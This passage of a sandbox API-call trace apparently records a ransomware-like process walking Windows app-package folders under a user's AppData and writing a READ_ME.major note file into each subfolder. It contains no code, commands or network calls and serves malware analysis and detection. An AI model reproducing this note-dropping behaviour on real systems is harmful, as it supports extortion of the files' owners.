ftCreationTime.dwLowDateTime=0xbed6335f, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xbed6335f, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xbed6335f, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="SystemAppData", cAlternateFileName="SYSTEM~1")) returned 1 [0191.092] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsFeedbackHub_8wekyb3d8bbwe\\SystemAppData\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windowsfeedbackhub_8wekyb3d8bbwe\\systemappdata\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x95c [0191.093] WriteFile (in: hFile=0x95c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0191.093] CloseHandle (hObject=0x95c) returned 1 [0191.093] FindNextFileW (in: hFindFile=0x660ef0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbed5aaa6, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xd1a53e18, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xbed5aaa6, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 1 [0191.093] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsFeedbackHub_8wekyb3d8bbwe\\TempState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windowsfeedbackhub_8wekyb3d8bbwe\\tempstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x95c [0191.094] WriteFile (in: hFile=0x95c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0191.095] CloseHandle (hObject=0x95c) returned 1 [0191.095] FindNextFileW (in: hFindFile=0x660ef0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbed5aaa6, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xd1a53e18, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xbed5aaa6, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 0 [0191.095] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsMaps_8wekyb3d8bbwe\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe170ad7, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xbd8024eb, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x2440463c, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x660b70 [0191.095] FindNextFileW (in: hFindFile=0x660b70, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe170ad7, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xbd8024eb, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x2440463c, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0191.095] FindNextFileW (in: hFindFile=0x660b70, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe27bb52, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x38b51312, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x38b51312, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="AC", cAlternateFileName="")) returned 1 [0191.095] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsMaps_8wekyb3d8bbwe\\AC\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windowsmaps_8wekyb3d8bbwe\\ac\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x960 [0191.097] WriteFile (in: hFile=0x960, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0191.098] CloseHandle (hObject=0x960) returned 1 [0191.098] FindNextFileW (in: hFindFile=0x660b70, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe22f6ae, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd1ab5abf, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe22f6ae, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="AppData", cAlternateFileName="")) returned 1 [0191.098] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsMaps_8wekyb3d8bbwe\\AppData\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windowsmaps_8wekyb3d8bbwe\\appdata\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x960 [0191.098] WriteFile (in: hFile=0x960, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0191.099] CloseHandle (hObject=0x960) returned 1 [0191.099] FindNextFileW (in: hFindFile=0x660b70, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe170ad7, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd1ab5f4b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe170ad7, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="LocalCache", cAlternateFileName="LOCALC~1")) returned 1 [0191.099] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsMaps_8wekyb3d8bbwe\\LocalCache\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windowsmaps_8wekyb3d8bbwe\\localcache\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x960 [0191.101] WriteFile (in: hFile=0x960, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0191.102] CloseHandle (hObject=0x960) returned 1 [0191.102] FindNextFileW (in: hFindFile=0x660b70, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe170ad7, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd1ab6289, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe170ad7, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="LocalState", cAlternateFileName="LOCALS~1")) returned 1 [0191.102] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsMaps_8wekyb3d8bbwe\\LocalState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windowsmaps_8wekyb3d8bbwe\\localstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x960 [0191.103] WriteFile (in: hFile=0x960, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0191.104] CloseHandle (hObject=0x960) returned 1 [0191.104] FindNextFileW (in: hFindFile=0x660b70, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2440463c, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x2440463c, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x2442f501, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0191.104] FindNextFileW (in: hFindFile=0x660b70, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe170ad7, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd1ab67a9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe170ad7, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="RoamingState", cAlternateFileName="ROAMIN~1")) returned 1 [0191.104] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsMaps_8wekyb3d8bbwe\\RoamingState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windowsmaps_8wekyb3d8bbwe\\roamingstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x960 [0191.105] WriteFile (in: hFile=0x960, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0191.105] CloseHandle (hObject=0x960) returned 1 [0191.106] FindNextFileW (in: hFindFile=0x660b70, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe170ad7, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x7133ee1b, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x7133ee1b, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="Settings", cAlternateFileName="")) returned 1 [0191.106] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsMaps_8wekyb3d8bbwe\\Settings\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windowsmaps_8wekyb3d8bbwe\\settings\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x960 [0191.109] WriteFile (in: hFile=0x960, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0191.110] CloseHandle (hObject=0x960) returned 1 [0191.110] FindNextFileW (in: hFindFile=0x660b70, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbd2f14b6, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xbd2f14b6, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xbd2f14b6, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="SystemAppData", cAlternateFileName="SYSTEM~1")) returned 1 [0191.110] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsMaps_8wekyb3d8bbwe\\SystemAppData\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windowsmaps_8wekyb3d8bbwe\\systemappdata\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x960 [0191.111] WriteFile (in: hFile=0x960, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0191.112] CloseHandle (hObject=0x960) returned 1 [0191.112] FindNextFileW (in: hFindFile=0x660b70, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe170ad7, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd1b326c8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe170ad7, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 1 [0191.112] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsMaps_8wekyb3d8bbwe\\TempState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windowsmaps_8wekyb3d8bbwe\\tempstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x960 [0191.113] WriteFile (in: hFile=0x960, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0191.113] CloseHandle (hObject=0x960) returned 1 [0191.113] FindNextFileW (in: hFindFile=0x660b70, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe170ad7, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd1b326c8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe170ad7, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 0 [0191.114] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsPhone_8wekyb3d8bbwe\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9645a4f, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xb907b89d, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x24449135, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x6609b0 [0191.114] FindNextFileW (in: hFindFile=0x6609b0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9645a4f, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xb907b89d, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x24449135, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0191.114] FindNextFileW (in: hFindFile=0x6609b0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x9750aec, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x38ee4cbd, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x38ee4cbd, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="AC", cAlternateFileName="")) returned 1 [0191.114] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsPhone_8wekyb3d8bbwe\\AC\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windowsphone_8wekyb3d8bbwe\\ac\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x964 [0191.116] WriteFile (in: hFile=0x964, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0191.117] CloseHandle (hObject=0x964) returned 1 [0191.117] FindNextFileW (in: hFindFile=0x6609b0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9704670, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd1ba2bbc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x9704670, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="AppData", cAlternateFileName="")) returned 1 [0191.117] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsPhone_8wekyb3d8bbwe\\AppData\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windowsphone_8wekyb3d8bbwe\\appdata\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x964 [0191.118] WriteFile (in: hFile=0x964, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0191.120] CloseHandle (hObject=0x964) returned 1 [0191.120] FindNextFileW (in: hFindFile=0x6609b0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9645a4f, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd1ba32b1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x9645a4f, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="LocalCache", cAlternateFileName="LOCALC~1")) returned 1 [0191.120] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsPhone_8wekyb3d8bbwe\\LocalCache\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windowsphone_8wekyb3d8bbwe\\localcache\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x964 [0191.121] WriteFile (in: hFile=0x964, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0191.122] CloseHandle (hObject=0x964) returned 1 [0191.122] FindNextFileW (in: hFindFile=0x6609b0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9645a4f, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd1ba3847, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x9645a4f, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="LocalState", cAlternateFileName="LOCALS~1")) returned 1 [0191.122] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsPhone_8wekyb3d8bbwe\\LocalState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windowsphone_8wekyb3d8bbwe\\localstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x964 [0191.123] WriteFile (in: hFile=0x964, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0191.124] CloseHandle (hObject=0x964) returned 1 [0191.124] FindNextFileW (in: hFindFile=0x6609b0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24449135, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x24449135, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x24449135, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0191.124] FindNextFileW (in: hFindFile=0x6609b0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9645a4f, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd1ba3f2a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x9645a4f, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="RoamingState", cAlternateFileName="ROAMIN~1")) returned 1 [0191.124] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsPhone_8wekyb3d8bbwe\\RoamingState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windowsphone_8wekyb3d8bbwe\\roamingstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x964 [0191.124] WriteFile (in: hFile=0x964, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0191.125] CloseHandle (hObject=0x964) returned 1 [0191.125] FindNextFileW (in: hFindFile=0x6609b0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9645a4f, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x7136507a, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x7136507a, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="Settings", cAlternateFileName="")) returned 1 [0191.125] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsPhone_8wekyb3d8bbwe\\Settings\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windowsphone_8wekyb3d8bbwe\\settings\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x964 [0191.163] WriteFile (in: hFile=0x964, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0191.164] CloseHandle (hObject=0x964) returned 1 [0191.164] FindNextFileW (in: hFindFile=0x6609b0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb907b89d, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xb907b89d, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xb907b89d, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="SystemAppData", cAlternateFileName="SYSTEM~1")) returned 1 [0191.164] CreateFileW 